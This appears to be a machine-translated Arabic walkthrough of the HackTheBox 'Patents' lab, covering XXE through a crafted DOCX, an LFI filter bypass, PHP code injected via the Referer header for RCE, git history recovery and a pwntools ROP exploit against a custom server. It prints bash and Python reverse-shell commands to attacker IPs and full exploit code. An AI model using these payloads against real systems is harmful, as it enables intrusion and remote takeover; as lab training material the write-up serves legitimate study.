HackTheBox. اجتياز براءات الاختراع. XXE عبر DOCX و LFI إلى RCE و GIT و ROP

صورة

أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox .

في هذه المقالة ، نستغل XXE في الخدمة لتحويل مستندات DOCX إلى PDF ، والحصول على RCE عبر LFI ، والحفر في سجل GIT واستعادة الملفات ، وإنشاء سلاسل ROP باستخدام pwntools والعثور على ملف جذر مخفي.

يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من جهاز كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة لك ، نظرًا لأنك تدخل في شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)

المعلومات التنظيمية
, , Telegram . , , .

. , - , .

ريكون


يحتوي هذا الجهاز على عنوان IP 10.10.10.173 ، والذي أضيفه إلى / etc / hosts.

10.10.10.173    patents.htb

أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

صورة

الآن ، لمزيد من المعلومات التفصيلية حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.

nmap -A patents.htb -p22,80,8888

صورة

يقوم المضيف بتشغيل خدمات SSH وخادم الويب Apache ، مع الاحتفاظ بالمنفذ 8888 لخدمة غير مفهومة. دعنا نرى الويب.

صورة

يحتوي الموقع على نموذج تنزيل لوثائق DOCX.

صورة

XXE DOCX


وفقًا للبيان ، سيتم تحويل وثيقتنا إلى تنسيق PDF. هذا يشير إلى فكرة XXE. أخذت مثالاً من هنا .

صورة

وبالتالي ، في هذا المثال ، سيحاول المضيف تنزيل مستند xml من الخادم البعيد. من خلال تنزيل هذا المستند ، سيقرأ الملف المحلي المحدد في مستند xml الذي تم تنزيله ، ويرمزه في base64 وسيتصل بخادمنا مرة أخرى ، ويمرر الملف المشفر كمعلمة طلب. أي ، بعد فك شفرة هذه المعلمة ، نحصل على الملف من الجهاز البعيد.

ولكن لا ينبغي وضع هذا الحمل على مسار word / document.xml. نظرًا لأنه يتم استخدام OpenXML SDK للعمل مع هذا النوع من المستندات ، فإنه يتبع من هنا ومن هنا، سيقوم البرنامج من جانب الخادم بالبحث عن البيانات في word / document.xml ، و customXML / item1.xml. لذلك ، يجب وضع الحمل هناك.

لنقم بإنشاء مستند docx وفك ضغطه كأرشيف مضغوط. بعد ذلك ، قم بإنشاء دليل customXML وقم بإنشاء ملف item1.xml فيه. سنكتب فيه الرمز من الصورة أعلاه ، مع تغيير عنوان IP إلى عنواننا. ونقوم بأرشفة الوثيقة مرة أخرى.

صورة

الآن قم بتشغيل خادم الويب المحلي.

python3 -m http.server 80

وفي الدليل الحالي نقوم بإنشاء ملف xml الثاني ، مع تحديد / etc / passwd كملف مطلوب.

صورة

وتحميل المستند على الخادم. في النافذة التي يعمل بها خادم الويب ، سنرى الاتصال العكسي.

صورة

فك تشفير base64 واحصل على الملف المطلوب.

صورة

بهذه الطريقة يمكننا قراءة الملفات الموجودة على الخادم. دعونا نقرأ ملفات تكوين أباتشي. للقيام بذلك ، قم بتغيير dtd.xml وكرر تنزيل المستند.

صورة

صورة

لذلك نكتشف الدليل الذي يوجد فيه الموقع. دعونا نحاول قراءة ملف التكوين.

صورة

صورة

ويقول التعليق أنه تمت إعادة تسمية الملف بسبب الضعف. سنشير بالطبع إلى ذلك patents.htb / getPatent_alphav1.0.php .

صورة

بالانتقال إلى هذه الصفحة وتمرير المسار ../../../../../etc/passwd كمعلمة معرف ، سيتم حذف جميع تكرارات "../" من السطر الخاص بنا. دعنا نستبدل كل سطر "../" بـ "... /. /" ، لذا إذا قمت بحذف تسلسل ، فسيظل "../".

صورة

ونجد LFI.

نقطة الدخول


دعونا نحاول الحصول على RCE من هذا. بصراحة - كان الأمر صعبًا. والحقيقة هي أنه عند إرسال مثل هذا المستند ، لم نتلق عرضًا لتنزيل PDF. أي أنه تم استخدام الواصف 2 (لعرض رسائل التشخيص وتصحيح الأخطاء في شكل نصي). ويمكننا أن نلجأ إليه. دعونا ترميز قذيفة عكسية في base64:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

سنقوم بفك تشفيرها ونقلها إلى وظيفة النظام في php. دعنا نمرر الرمز كعنوان HTTP عند تحميل ملف.

curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

قم بتشغيل netcat.

nc -lvp 4321

والآن دعونا ننتقل إلى الواصف الثاني.

curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

نعود الاتصال.

الجذر 1


تحميل نظام النص ينقل linpeas وتحليل المخرجات بعناية. لذلك نحن نعمل في حاوية عامل ميناء.

صورة

نجد أيضًا تجزئات. لكن القرصنة ، لا نصل إلى شيء.

صورة

صورة

لذلك ، قم بتشغيل pspy64 لتتبع العمليات الجارية. ونجد بداية العملية كجذر ، حيث يتم تمرير كلمة المرور كمتغير بيئة.

صورة

وتغيير المستخدم محليًا بإدخال كلمة المرور هذه.

صورة

الجذر 2


دعونا نرى ما يفعله هذا البرنامج النصي.

صورة

صورة

نحصل على نصيحة حول بعض lfmserver ، ونحفظ أيضًا اسم المستخدم وكلمة المرور. دعونا ننظر في النظام لكل ما يتعلق lfm.

صورة

ونجد مستودع git في هذا الدليل.

صورة

فلنعمل مع هذا المستودع.

صورة

دعونا نرى تاريخ التغييرات.

صورة

دعونا نرى تاريخ التغييرات. لذلك نرى أنه في الإلتزام قبل الأخير ، تمت إضافة ملف قابل للتنفيذ ووصف ، وفي النهاية تم حذفهما بالفعل. دعونا نتراجع قبل حذف الملفات.

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

وفي دليلنا ظهر ملف ووصف قابل للتنفيذ.

صورة

صورة

هنا أردت بالفعل بدء عكس الملف ، ولكن - لدينا مشروع بوابة! لقد وجدت التزامًا يذكر رموز المصدر.

صورة

ودعنا نستعيد الملفات.

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

بعد ذلك نقوم بتنزيل أكواد المصدر ، البرنامج نفسه والمكتبات إلى الجهاز المحلي.

روب


نحتاج إلى محاولة العثور على الثغرة الأمنية في البرنامج واستغلالها ، فهناك رموز مصدر للمساعدة. دعونا نتحقق من الحماية في ملف ثنائي.

صورة

أي أن الكناري و PIE مفقودان ، لكن المكدس غير قابل للتنفيذ. دعونا نفتح الملف الثنائي في أي أداة تفكيك بمحلل ملائم لك (أستخدم IDA Pro 7.2) ونقارن الشفرة التي تم فك شفرتها مع رموز المصدر من المستودع.

صورة

للاتصال بالخادم واستخدام البيانات من ملف checker.py ، وكذلك بيانات الاعتماد.

صورة

صورة

دعونا نكتب قالب برمجية إكسبلويت.

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

دعنا الآن نحدد الطلب. بدء تطبيق.

صورة

يجب عليك إرسال المسار إلى الملف وتجزئة محتوياته. على سبيل المثال ، أخذت / etc / hosts.

صورة

أضف الكود التالي إلى القالب.

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

نفذ الآن واحصل على الخطأ 404.

صورة

دعنا نرى ملف السجل.

صورة

من الواضح أين يبحث التطبيق عن ملف ، فلنلعب مع المسارات ونحدد مثل هذا الملف.

file = "../../../../../etc/hosts"

سنقوم بتنفيذ التعليمات البرمجية ولن نرى أي أخطاء.

صورة

صورة

ولكن في حالة urlencode ، نحصل على استجابة برمز 200 من الخادم!

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

صورة

رائع ، دعنا نعود إلى المفكك. نجد بين السطور (Shift + F12) استجابة الخادم الناجحة. ودعنا نرى أين يتم الوصول إليه (X).

صورة

وننتقل إلى الوظيفة الأولى ، حيث يوجد في البداية التحقق من أوراق الاعتماد.

صورة

دعنا نعيد تسمية الخطوط المتغيرة في نافذة أداة التفكيك لتسهيل فهمها في أداة فك الشفرة.

صورة

وتحليل التعليمات البرمجية في السطور 18-24 ، فهم ما يلي: يقع جزء من إدخال المستخدم في الدالة sub_402DB9 ، حيث يتم تحويل السلسلة إلى اسم المتغير ، والذي يقع بعد ذلك في دالة الوصول ، وإذا كانت النتيجة سلبية ، تكون الرسالة 404 ناتجة. سيكون اسم المتغير هو المسار إلى الملف. نظرًا لأنه تمت معالجة الطلب حتى في تشفير urlencode ، فمن المرجح أن تكون هذه الوظيفة مطلوبة لفك التشفير.

صورة

لكن الحقيقة هي أن اسم المتغير ، حيث يتم نقل البيانات ، محدود الحجم.

صورة

وبالتالي ، بالنسبة لتدفق المخزن المؤقت ، نحتاج إلى نقل 0xA0 = 160 بايت. دعنا نضيف في الكود وظيفة إضافة ما يصل إلى 160 بايت وترميز المسار إلى الملف. نظرًا لأنه يتم حساب التجزئة من محتويات الملف ، فمن الضروري عدم انتهاك سلامة مسار الملف ، أي بعد إضافة المسار الرئيسي 0x00 بايت.

لكن الحقيقة هي أننا بحاجة إلى معرفة التجزئة من أي ملف على الخادم ، والذي سيكون متاحًا دائمًا ولن يتغير أبدًا. على سبيل المثال / proc / sys / kernel / randomize_va_space ، وكما نتذكر من ناتج linPEAS ، يتم تنشيط ASLR ، أي أننا نعرف التجزئة.

صورة

ثم قم بتغيير الكود.

#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
    ret = b""
    path = (file + b"\x00").ljust(160, b"A") + rop
    for i in path:
        ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
    return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

يعمل بنجاح!

صورة

الآن دعنا نستخدم تسرب ذاكرة ونحدد العنوان حيث يتم تحميل مكتبة libc. للقيام بذلك ، نحصل على عنوان وظيفة الكتابة في مكتبة libc المحملة.

binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

صورة

الآن حدد عنوان الدالة dup2 (أول 8 بايت). اطرح عنوان وظيفة dup2 في المكتبة غير المحملة منها. سيجد هذا العنوان الأساسي لـ libc.

print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

صورة

ابحث الآن عن عنوان السطر / bin / sh.

shell_address = next(libc.search(b"/bin/sh\x00"))

يبقى جمع ROP ، حيث سيتم إعادة توجيه واصفات الإدخال / الإخراج القياسية (0،1،2) إلى الواصف المسجل في البرنامج (خذ 6). بعد ذلك سيتم استدعاء وظيفة النظام ، حيث سنقوم بتمرير عنوان السطر / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build()) 

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

صورة

غرامة! نحصل على القشرة من الجذر. لكنه يموت بسرعة. قم بتشغيل المستمع (nc -lvp 8765) ورمي غلاف الاتصال الخلفي.

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

صورة

صورة

ولدينا قذيفة مستقرة. أعطي الرمز الكامل في الصورة أدناه.

صورة

لكن لا يمكننا قراءة علم الجذر ...

صورة

الجذر 3


من خلال تشغيل linpeas والنظر في الإخراج ، نجد أقسامًا مثيرة للاهتمام ، خاصة / dev / sda2.

صورة

دعنا نحصل على معلومات حول جميع أجهزة الحظر.

صورة

وبالتالي لدينا قسم الجذر / dev / sda2. قم بإنشاء دليل وتركيب القسم.

صورة

لذلك نجد علم الجذر.

يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

All Articles